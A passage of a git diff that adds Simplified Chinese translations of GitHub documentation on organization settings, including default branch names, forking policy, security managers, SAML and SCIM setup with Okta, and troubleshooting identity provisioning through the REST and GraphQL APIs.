branches](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)." +当组织成员在组织中创建一个新仓库时,该仓库将包含一个分支,它就是默认分支。 可以更改 {% data variables.product.product_name %} 用于组织成员创建的新存储库中的默认分支的名称。 有关默认分支的详细信息,请参阅“[关于分支](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)”。 {% data reusables.branches.change-default-branch %} -If an enterprise owner has enforced a policy for the default branch name for your enterprise, you cannot set a default branch name for your organization. Instead, you can change the default branch for individual repositories. For more information, see {% ifversion fpt %}"[Enforcing repository management policies in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-the-default-branch-name)"{% else %}"[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-the-default-branch-name)"{% endif %} and "[Changing the default branch](/github/administering-a-repository/changing-the-default-branch)." +如果企业所有者为您的企业强制实施了默认分支名称策略,您将无法为组织设置默认分支名称。 但是,您可以更改单个仓库的默认分支。 有关详细信息,请参阅 {% ifversion fpt %}“[在企业中强制实施存储库管理策略](/enterprise-cloud@latest/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-the-default-branch-name)”{% else %}“[在企业中强制实施存储库管理策略](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-the-default-branch-name)”{% endif %}和“[更改默认分支](/github/administering-a-repository/changing-the-default-branch)”。 -## Setting the default branch name +## 设置默认分支名称 -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.repository-defaults %} -3. Under "Repository default branch", click **Change default branch name now**. - ![Override button](/assets/images/help/organizations/repo-default-name-button.png) -4. Type the default name that you would like to use for new branches. - ![Text box for entering default name](/assets/images/help/organizations/repo-default-name-text.png) -5. Click **Update**. - ![Update button](/assets/images/help/organizations/repo-default-name-update.png) +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.repository-defaults %} +3. 在“存储库默认分支”下,单击“立即更改默认分支名称”。 + ![“替代”按钮](/assets/images/help/organizations/repo-default-name-button.png) +4. 键入要用于新分支的默认名称。 + ![用于输入默认名称的文本框](/assets/images/help/organizations/repo-default-name-text.png) +5. 单击“更新”。 + ![“更新”按钮](/assets/images/help/organizations/repo-default-name-update.png) -## Further reading +## 延伸阅读 -- "[Managing the default branch name for your repositories](/github/setting-up-and-managing-your-github-user-account/managing-the-default-branch-name-for-your-repositories)" +- “[管理存储库的默认分支名称](/github/setting-up-and-managing-your-github-user-account/managing-the-default-branch-name-for-your-repositories)” diff --git a/translations/zh-CN/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md b/translations/zh-CN/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md index dd8c5100cd..51bae563c9 100644 --- a/translations/zh-CN/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md +++ b/translations/zh-CN/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md @@ -1,6 +1,6 @@ --- -title: Managing the forking policy for your organization -intro: 'You can allow or prevent the forking of any private{% ifversion ghes or ghae or ghec %} and internal{% endif %} repositories owned by your organization.' +title: 管理组织的复刻政策 +intro: '可以允许或阻止对组织拥有的任何私有{% ifversion ghes or ghae or ghec %}和内部{% endif %}存储库进行复刻。' redirect_from: - /articles/allowing-people-to-fork-private-repositories-in-your-organization - /github/setting-up-and-managing-organizations-and-teams/allowing-people-to-fork-private-repositories-in-your-organization @@ -15,30 +15,24 @@ topics: - Organizations - Teams shortTitle: Manage forking policy +ms.openlocfilehash: 11aad8ee3c08b62f6bc352f91b6d804f35eee6e6 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145099717' --- +默认情况下,新组织被配置为禁止对专用 {% ifversion ghes or ghec or ghae %} 和内部 {% endif %} 存储库创建分支。 -By default, new organizations are configured to disallow the forking of private{% ifversion ghes or ghec or ghae %} and internal{% endif %} repositories. +如果允许在组织级别对专用 {% ifversion ghes or ghec or ghae %} 和内部 {% endif %} 存储库进行分支,还可以配置对特定专用 {% ifversion ghes or ghec or ghae %} 或内部 {% endif %} 存储库进行分支的功能。 有关详细信息,请参阅“[管理存储库的分支策略](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)”。 -If you allow forking of private{% ifversion ghes or ghec or ghae %} and internal{% endif %} repositories at the organization level, you can also configure the ability to fork a specific private{% ifversion ghes or ghec or ghae %} or internal{% endif %} repository. For more information, see "[Managing the forking policy for your repository](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)." +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.profile.org_member_privileges %} +1. 在“存储库分支”下,选择“允许对专用 {% ifversion ghec or ghes or ghae %} 和内部 {% endif %} 存储库创建分支”。 -{% ifversion org-owners-limit-forks-creation %} -{% ifversion ghec %}If your organization is owned by an enterprise account, you{% else %}You{% endif %} may not be able to configure this setting for your organization, if an enterprise owner has set a policy at the enterprise level. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-forking-private-or-internal-repositories)."{% endif %} + {%- ifversion fpt %} ![允许或禁止在组织中创建分支的复选框](/assets/images/help/repository/allow-disable-forking-fpt.png) {%- elsif ghes or ghec or ghae %} ![允许或禁止在组织中创建分支的复选框](/assets/images/help/repository/allow-disable-forking-organization.png) {%- endif %} +6. 单击“ **保存**”。 -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.profile.org_member_privileges %} -1. Under "Repository forking", select **Allow forking of private {% ifversion ghec or ghes or ghae %}and internal {% endif %}repositories**. +## 延伸阅读 - {%- ifversion fpt %} - ![Checkbox to allow or disallow forking in the organization](/assets/images/help/repository/allow-disable-forking-fpt.png) - {%- elsif ghes or ghec or ghae %} - ![Checkbox to allow or disallow forking in the organization](/assets/images/help/repository/allow-disable-forking-organization.png) - {%- endif %}{% ifversion org-owners-limit-forks-creation %} -2. Optionally, if forking is enabled, you can specify where users are allowed to fork repositories. If your organization belongs to a {% data variables.product.prodname_enterprise %} account and a more restrictive default has been selected in the enterprise settings, you won't be able to select the more permissive default in your organization settings. Review the information about changing the setting and choose a policy. - ![Screenshot showing the list of repository forking policy options](/assets/images/help/business-accounts/org-repository-forking-policy-settings.png){%- endif %} -3. Click **Save**. - -## Further reading - -- "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)" -- "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)" +- [关于分支](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks) +- [组织的存储库角色](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization) diff --git a/translations/zh-CN/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md b/translations/zh-CN/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md index 6d9e44bf37..d4b9244794 100644 --- a/translations/zh-CN/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md +++ b/translations/zh-CN/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md @@ -1,6 +1,6 @@ --- -title: Managing security managers in your organization -intro: You can give your security team the least access they need to your organization by assigning a team to the security manager role. +title: 管理组织中的安全管理员 +intro: 通过将团队分配给安全管理员角色,您可以为安全团队提供他们对组织所需的最少访问权限。 versions: feature: security-managers topics: @@ -8,48 +8,48 @@ topics: - Teams shortTitle: Security manager role permissions: Organization owners can assign the security manager role. +ms.openlocfilehash: c29dd20a123ccb20a32d40896064e11d59643bd9 +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/12/2022 +ms.locfileid: '145065962' --- - {% data reusables.organizations.security-manager-beta-note %} {% data reusables.organizations.about-security-managers %} -## Permissions for the security manager role +## 安全管理员角色的权限 -Members of a team with the security manager role have only the permissions required to effectively manage security for the organization. +具有安全管理员角色的团队成员仅具有有效管理组织安全性所需的权限。 -- Read access on all repositories in the organization, in addition to any existing repository access -- Write access on all security alerts in the organization {% ifversion not fpt %} -- Access to the organization's security overview {% endif %} -- The ability to configure security settings at the organization level{% ifversion not fpt %}, including the ability to enable or disable {% data variables.product.prodname_GH_advanced_security %}{% endif %} -- The ability to configure security settings at the repository level{% ifversion not fpt %}, including the ability to enable or disable {% data variables.product.prodname_GH_advanced_security %}{% endif %} +- 除了任何现有的存储库访问外,还可以读取组织中的所有存储库 +- 对组织中所有安全警报的写入访问权限 {% ifversion not fpt %} +- 访问组织的安全概述 {% endif %} +- 能够在组织级配置安全设置{% ifversion not fpt %},包括启用或禁用 {% data variables.product.prodname_GH_advanced_security %}{% endif %} +- 能够在存储库级配置安全设置{% ifversion not fpt %},包括启用或禁用 {% data variables.product.prodname_GH_advanced_security %}{% endif %} -{% ifversion fpt %} -Additional functionality, including a security overview for the organization, is available in organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %}. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization). +{% ifversion fpt %} 其他功能(包括组织的安全概述)在将 {% data variables.product.prodname_ghe_cloud %} 与 {% data variables.product.prodname_advanced_security %} 一起使用的组织中可用。 有关详细信息,请参阅 [{% data variables.product.prodname_ghe_cloud %} 文档](/enterprise-cloud@latest/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization)。 {% endif %} -If a team has the security manager role, people with admin access to the team and a specific repository can change the team's level of access to that repository but cannot remove the access. For more information, see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository){% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}" and "[Managing teams and people with access to your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository)."{% else %}."{% endif %} +如果团队具有安全管理员角色,则对团队和特定存储库具有管理员访问权限的人员可以更改团队对该存储库的访问级别,但不能删除访问权限。 有关详细信息,请参阅“[管理团队对组织存储库的访问](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository){% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5974 %}”和“[管理有权访问存储库的团队和人员](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository)”。{% else %}."{% endif %} - ![Manage repository access UI with security managers](/assets/images/help/organizations/repo-access-security-managers.png) + ![使用安全管理器管理存储库访问 UI](/assets/images/help/organizations/repo-access-security-managers.png) -## Assigning the security manager role to a team in your organization -You can assign the security manager role to a maximum of 10 teams in your organization. +## 将安全管理员角色分配给组织中的团队 +您可以将安全管理员角色分配给组织中最多 10 个团队。 -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.security-and-analysis %} -1. Under **Security managers**, search for and select the team to give the role. Each team you select will appear in a list below the search bar. - ![Add security manager](/assets/images/help/organizations/add-security-managers.png) -## Removing the security manager role from a team in your organization +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.security-and-analysis %} +1. 在“安全管理员”下,搜索并选择要授予该角色的团队。 您选择的每个团队都将显示在搜索栏下方的列表中。 + ![添加安全管理员](/assets/images/help/organizations/add-security-managers.png) +## 从组织中的团队中删除安全管理员角色 {% warning %} -**Warning:** Removing the security manager role from a team will remove the team's ability to manage security alerts and settings across the organization, but the team will retain read access to repositories that was granted when the role was assigned. You must remove any unwanted read access manually. For more information, see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository#removing-a-teams-access-to-a-repository)." +警告:从团队中删除安全管理员角色将删除团队在整个组织中管理安全警报和设置的能力,但团队将保留对分配角色时授予的存储库读取访问权限。 您必须手动删除任何不需要的读取访问权限。 有关详细信息,请参阅“[管理团队对组织存储库的访问](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository#removing-a-teams-access-to-a-repository)”。 {% endwarning %} -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.security-and-analysis %} -1. Under **Security managers**, to the right of the team you want to remove as security managers, click {% octicon "x" aria-label="The X icon" %}. - ![Remove security managers](/assets/images/help/organizations/remove-security-managers.png) +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.security-and-analysis %} +1. 在“安全管理员”下,在要删除为安全管理员的团队右侧,单击“{% octicon "x" aria-label="The X icon" %}”。 + ![删除安全管理员](/assets/images/help/organizations/remove-security-managers.png) diff --git a/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md b/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md index d6b7e282dc..cbc6073d93 100644 --- a/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md +++ b/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md @@ -1,6 +1,6 @@ --- -title: Configuring SAML single sign-on and SCIM using Okta -intro: 'You can use Security Assertion Markup Language (SAML) single sign-on (SSO) and System for Cross-domain Identity Management (SCIM) with Okta to automatically manage access to your organization on {% data variables.location.product_location %}.' +title: 使用 Octa 配置 SAML 单个登录和 SCIM +intro: '可以使用安全断言标记语言 (SAML) 单一登录 (SSO) 和跨域身份管理系统 (SCIM) 与 Okta 一起来自动管理对 {% data variables.location.product_location %} 上组织的访问。' redirect_from: - /github/setting-up-and-managing-organizations-and-teams/configuring-saml-single-sign-on-and-scim-using-okta permissions: Organization owners can configure SAML SSO and SCIM using Okta for an organization. @@ -10,60 +10,56 @@ topics: - Organizations - Teams shortTitle: Configure SAML & SCIM with Okta +ms.openlocfilehash: c1b6ab48122c97cb1f805399430cc181ed3f30d1 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192735' --- +## 关于 SAML 和 SCIM 与 Octa -## About SAML and SCIM with Okta - -You can control access to your organization on {% data variables.location.product_location %} and other web applications from one central interface by configuring the organization to use SAML SSO and SCIM with Okta, an Identity Provider (IdP). +通过将组织配置为将 SAML SSO 和 SCIM 与身份提供程序 (IdP) Okta 结合使用,你可以从一个中心界面控制对你 {% data variables.location.product_location %} 和其他 Web 应用程序上的组织的访问。 {% data reusables.saml.ghec-only %} -SAML SSO controls and secures access to organization resources like repositories, issues, and pull requests. SCIM automatically adds, manages, and removes members' access to your organization on {% data variables.location.product_location %} when you make changes in Okta. For more information, see "[About identity and access management with SAML single sign-on](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)" and "[About SCIM for organizations](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations)." +SAML SSO 控制并保护对组织资源(如仓库、议题和拉取请求)的访问。 当你在 Okta 中进行更改时,SCIM 会自动添加、管理和移除成员对你在 {% data variables.location.product_location %} 上的组织的访问权限。 有关详细信息,请参阅“[关于使用 SAML 单一登录进行标识和访问管理](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)”和“[关于组织的 SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations)”。 -After you enable SCIM, the following provisioning features are available for any users that you assign your {% data variables.product.prodname_ghe_cloud %} application to in Okta. +启用 SCIM 后,您在 Okta 中为其分配了 {% data variables.product.prodname_ghe_cloud %} 应用程序的任何用户都可以使用以下配置。 -| Feature | Description | +| 功能 | 说明 | | --- | --- | -| Push New Users | When you create a new user in Okta, the user will receive an email to join your organization on {% data variables.location.product_location %}. | -| Push User Deactivation | When you deactivate a user in Okta, Okta will remove the user from your organization on {% data variables.location.product_location %}. | -| Push Profile Updates | When you update a user's profile in Okta, Okta will update the metadata for the user's membership in your organization on {% data variables.location.product_location %}. | -| Reactivate Users | When you reactivate a user in Okta, Okta will send an email invitation for the user to rejoin your organization on {% data variables.location.product_location %}. | +| 推送新用户 | 当你在 Okta 中创建新用户时,该用户将收到一封电子邮件,以便加入你在 {% data variables.location.product_location %} 上的组织。 | +| 推送用户停用 | 当你在 Okta 中停用用户时,Okta 将从你在 {% data variables.location.product_location %} 上的组织中移除该用户。 | +| 推送个人资料更新 | 当你在 Okta 中更新用户配置文件时,Okta 将更新你在 {% data variables.location.product_location %} 上的组织中该用户成员身份的元数据。 | +| 重新激活用户 | 当你在 Okta 中重新激活用户时,Okta 将发送电子邮件,邀请该用户在 {% data variables.location.product_location %} 上重新加入你的组织。 | -Alternatively, you can configure SAML SSO for an enterprise using Okta. SCIM for enterprise accounts is only available with Enterprise Managed Users. For more information, see "[Configuring SAML single sign-on for your enterprise using Okta](/admin/identity-and-access-management/managing-iam-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta)" and "[Configuring SCIM provisioning for Enterprise Managed Users with Okta](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users-with-okta)." +或者,您可以使用 Okta 为企业配置 SAML SSO。 适用于企业帐户的 SCIM 仅适用于企业托管用户。 有关详细信息,请参阅“[使用 Okta 为企业配置 SAML 单一登录](/admin/identity-and-access-management/managing-iam-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta)”和“[使用 Okta 为企业托管用户配置 SCIM 配置](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users-with-okta)”。 -## Configuring SAML in Okta +## 在 Okta 中配置 SAML -{% data reusables.saml.okta-ae-applications-menu %} -{% data reusables.saml.okta-browse-app-catalog %} -{% data reusables.saml.okta-add-ghec-org-integration %} -1. Fill out the form, providing the name of your organization on {% data variables.product.prodname_dotcom %} and a unique name for your OAuth App Integration application. -{% data reusables.saml.assign-yourself-to-okta %} -{% data reusables.saml.okta-sign-on-tab %} -{% data reusables.saml.okta-view-setup-instructions %} -1. Enable and test SAML SSO on {% data variables.product.prodname_dotcom %} using the sign on URL, issuer URL, and public certificates from the "How to Configure SAML 2.0" guide. For more information, see "[Enabling and testing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization#enabling-and-testing-saml-single-sign-on-for-your-organization)." +{% data reusables.saml.okta-ae-applications-menu %} {% data reusables.saml.okta-browse-app-catalog %} {% data reusables.saml.okta-add-ghec-org-integration %} +1. 填写表单,提供 {% data variables.product.prodname_dotcom %} 上的组织名称和 OAuth 应用集成应用程序的唯一名称。 +{% data reusables.saml.assign-yourself-to-okta %} {% data reusables.saml.okta-sign-on-tab %} {% data reusables.saml.okta-view-setup-instructions %} +1. 按照“如何配置 SAML 2.0”指南,使用登录 URL、发行机构 URL 和公共证书在 {% data variables.product.prodname_dotcom %} 上启用并测试 SAML SSO。 有关详细信息,请参阅“[为组织启用和测试 SAML 单一登录](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization#enabling-and-testing-saml-single-sign-on-for-your-organization)”。 -## Configuring access provisioning with SCIM in Okta +## 在 Okta 中使用 SCIM 配置访问配置 {% data reusables.scim.dedicated-configuration-account %} -1. Sign into {% data variables.product.prodname_dotcom_the_website %} using an account that is an organization owner and is ideally used only for SCIM configuration. -1. To create an active SAML session for your organization, navigate to `https://github.com/orgs/ORGANIZATION-NAME/sso`. For more information, see "[About authentication with SAML single sign-on](/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on#about-oauth-apps-github-apps-and-saml-sso)." -1. Navigate to Okta. -{% data reusables.saml.okta-dashboard-click-applications %} -{% data reusables.saml.okta-applications-click-ghec-application-label %} -{% data reusables.saml.okta-provisioning-tab %} -{% data reusables.saml.okta-configure-api-integration %} -{% data reusables.saml.okta-enable-api-integration %} -1. Click **Authenticate with {% data variables.product.prodname_ghe_cloud %} - Organization**. -1. To the right of your organization's name, click **Grant**. +1. 使用组织所有者的帐户登录到 {% data variables.product.prodname_dotcom_the_website %},理想情况下仅用于 SCIM 配置。 +1. 若要为组织创建活动的 SAML 会话,请导航到 `https://github.com/orgs/ORGANIZATION-NAME/sso`。 有关详细信息,请参阅“[关于通过 SAML 单一登录进行身份验证](/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on#about-oauth-apps-github-apps-and-saml-sso)”。 +1. 导航到 Okta。 +{% data reusables.saml.okta-dashboard-click-applications %} {% data reusables.saml.okta-applications-click-ghec-application-label %} {% data reusables.saml.okta-provisioning-tab %} {% data reusables.saml.okta-configure-api-integration %} {% data reusables.saml.okta-enable-api-integration %} +1. 单击“使用 {% data variables.product.prodname_ghe_cloud %} 进行身份验证 - 组织”。 +1. 在组织名称右侧,单击“授权”。 - !["Grant" button for authorizing Okta SCIM integration to access organization](/assets/images/help/saml/okta-scim-integration-grant-organization-access.png) -1. Click **Authorize OktaOAN**. -{% data reusables.saml.okta-save-provisioning %} -{% data reusables.saml.okta-edit-provisioning %} + ![用于授权 Okta SCIM 集成访问组织的“授权”按钮](/assets/images/help/saml/okta-scim-integration-grant-organization-access.png) +1. 单击“授权 OktaOAN”。 +{% data reusables.saml.okta-save-provisioning %} {% data reusables.saml.okta-edit-provisioning %} -## Further reading +## 延伸阅读 -- "[Configuring SAML single sign-on for your enterprise account using Okta](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta)" -- [Understanding SAML](https://developer.okta.com/docs/concepts/saml/) in the Okta documentation -- [Understanding SCIM](https://developer.okta.com/docs/concepts/scim/) in the Okta documentation +- “[使用 Okta 为企业帐户配置 SAML 单一登录](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta)” +- 在 Okta 文档中[了解 SAML](https://developer.okta.com/docs/concepts/saml/) +- 在 Okta 文档中[了解 SCIM](https://developer.okta.com/docs/concepts/scim/) diff --git a/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md b/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md new file mode 100644 index 0000000000..44887ee6bd --- /dev/null +++ b/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md @@ -0,0 +1,94 @@ +--- +title: 身份和访问管理疑难解答 +intro: 查看并解决用于管理组织的 SAML SSO、团队同步或身份提供商 (IdP) 连接的常见故障排除错误。 +versions: + ghec: '*' +topics: +- Organizations +- Teams +shortTitle: Troubleshooting access +ms.openlocfilehash: ad67d0fd825ce86ba5b3c478706df57506c39f5d +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145101333" +--- +## 某些用户未由 SCIM 预配或取消预配 + +遇到用户预配问题时,建议检查用户是否缺少 SCIM 元数据。 + +{% data reusables.scim.changes-should-come-from-idp %} + +如果组织成员缺少 SCIM 元数据,则可以通过 IdP 手动为用户重新配置 SCIM。 + +### 审核用户是否缺少 SCIM 元数据 + +如果您怀疑或注意到任何用户未按预期进行预配或取消预配,我们建议您审核组织中的所有用户。 + +要检查用户的外部身份中是否具有 SCIM 身份(SCIM 元数据),您可以在 {% data variables.product.prodname_dotcom %} 上一次查看一个组织成员的 SCIM 元数据,也可以使用 {% data variables.product.prodname_dotcom %} API 以编程方式检查所有组织成员。 + +#### 审核 {% data variables.product.prodname_dotcom %} 上的组织成员 + +作为组织所有者,若要确认单个组织成员是否存在 SCIM 元数据,请访问此 URL,替换 `` 和 ``: + +> `https://github.com/orgs//people//sso` + +如果用户的外部标识包括 SCIM 元数据,则组织所有者应在该页面上看到 SCIM 标识部分。 如果其外部标识不包含任何 SCIM 元数据,则 SCIM 标识部分将不存在。 + +#### 通过 {% data variables.product.prodname_dotcom %} API 审核组织成员 + +作为组织所有者,您还可以查询 SCIM REST API 或 GraphQL 以列出组织中的所有 SCIM 预配置标识。 + +#### 使用 REST API + +SCIM REST API 仅返回在其外部标识下填充了 SCIM 元数据的用户的数据。 我们建议您将 SCIM 预配置身份列表与组织所有成员的列表进行比较。 + +有关详细信息,请参阅: + - [列出 SCIM 预配标识](/rest/reference/scim#list-scim-provisioned-identities) + - [列出组织成员](/rest/reference/orgs#list-organization-members) + +#### 使用 GraphQL + +此 GraphQL 查询显示组织中每个用户的 SAML `NameId`、SCIM `UserName` 和 {% data variables.product.prodname_dotcom %} 用户名 (`login`)。 若要使用此查询,请将 `ORG` 替换为你的组织名称。 + +```graphql +{ + organization(login: "ORG") { + samlIdentityProvider { + ssoUrl + externalIdentities(first: 100) { + edges { + node { + samlIdentity { + nameId + } + scimIdentity { + username + } + user { + login + } + } + } + } + } + } +} +``` + +```shell +curl -X POST -H "Authorization: Bearer " -H "Content-Type: application/json" -d '{ "query": "{ organization(login: \"ORG\") { samlIdentityProvider { externalIdentities(first: 100) { pageInfo { endCursor startCursor hasNextPage } edges { cursor node { samlIdentity { nameId } scimIdentity {username} user { login } } } } } } }" }' https://api.github.com/graphql +``` + +有关使用 GraphQL API 的更多信息,请参阅: + - [GraphQL 指南](/graphql/guides) + - [GraphQL 浏览器](/graphql/overview/explorer) + +### 通过身份提供商为用户重新预配 SCIM + +您可以通过 IdP 手动为用户重新预配 SCIM。 例如,要解决 Okta 的预配错误,可以在 Okta 管理门户中取消分配用户并将其重新分配给 {% data variables.product.prodname_dotcom %} 应用。 这应该会触发 Okta 进行 API 调用,以便在 {% data variables.product.prodname_dotcom %} 上为这些用户填充 SCIM 元数据。 有关详细信息,请参阅 Okta 文档中的“[从应用程序取消分配用户](https://help.okta.com/en/prod/Content/Topics/users-groups-profiles/usgp-unassign-apps.htm)”或“[将用户分配给应用程序](https://help.okta.com/en/prod/Content/Topics/users-groups-profiles/usgp-assign-apps.htm)”。 + +要确认是否已创建用户的 SCIM 标识,我们建议您使用已确认没有 SCIM 外部标识的单个组织成员来测试此过程。 手动更新 IdP 中的用户后,您可以检查用户的 SCIM 身份是使用 SCIM API 创建的,还是在 {% data variables.product.prodname_dotcom %} 上创建的。 有关详细信息,请参阅“[审核用户是否缺少 SCIM 元数据](#auditing-users-for-missing-scim-metadata)”或 REST API 终结点“[获取用户的 SCIM 配置信息](/rest/reference/scim#get-scim-provisioning-information-for-a-user)”。 + +如果为用户重新预配 SCIM 不起作用,请联系 {% data variables.product.prodname_dotcom %} 支持。 diff --git a/translations/zh-CN/content/organizations/organizing-members-into-teams/about-teams.md b/translations/zh-CN/content/organizations/organizing-members-into-teams/about-teams.md index 02c9f5a658..7c5a0f11c4 100644 --- a/translations/zh-CN/content/organizations/organizing-members-into-teams/about-teams.md +++ b/translations/zh-CN/content/organizations/organizing-members-into-teams/about-teams.md @@ -1,6 +1,6 @@ --- -title: About teams -intro: Teams are groups of organization members that reflect your company or group's structure with cascading access permissions and mentions. +title: 关于团队 +intro: 团队是组织成员构成的小组,反映了公司或小组具有级联访问权限和提及功能的结构。 redirect_from: - /articles/about-teams - /github/setting-up-and-managing-organizations-and-teams/about-teams @@ -12,71 +12,76 @@ versions: topics: - Organizations - Teams +ms.openlocfilehash: 7b899cf08ca58170acdf8fb2fb2ad13d251b76e3 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145149843' --- +![组织中的团队列表](/assets/images/help/teams/org-list-of-teams.png) -![List of teams in an organization](/assets/images/help/teams/org-list-of-teams.png) +组织所有者和团队维护员可向团队授予对组织存储库的管理、读取或写权限。 组织成员可通过提及团队的名称,向整个团队发送通知。 此外,组织成员可通过请求团队评审,向整个团队发送通知。 组织成员组可请求有权读取打开拉取请求的存储库的特定团队进行评审。 可在 CODEOWNERS 文件中将团队指定为某些代码类型或区域的所有者。 -Organization owners and team maintainers can give teams admin, read, or write access to organization repositories. Organization members can send a notification to an entire team by mentioning the team's name. Organization members can also send a notification to an entire team by requesting a review from that team. Organization members can request reviews from specific teams with read access to the repository where the pull request is opened. Teams can be designated as owners of certain types or areas of code in a CODEOWNERS file. +有关详细信息,请参阅: +- “[管理团队对组织存储库的访问](/articles/managing-team-access-to-an-organization-repository)” +- “[提及人员和团队](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)” +- “[关于代码所有者](/articles/about-code-owners/)” -For more information, see: -- "[Managing team access to an organization repository](/articles/managing-team-access-to-an-organization-repository)" -- "[Mentioning people and teams](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)" -- "[About code owners](/articles/about-code-owners/)" - -![Image of a team mention](/assets/images/help/teams/team-mention.png) +![团队提及图像](/assets/images/help/teams/team-mention.png) {% ifversion ghes %} -You can also use LDAP Sync to synchronize {% data variables.location.product_location %} team members and team roles against your established LDAP groups. This lets you establish role-based access control for users from your LDAP server instead of manually within {% data variables.location.product_location %}. For more information, see "[Enabling 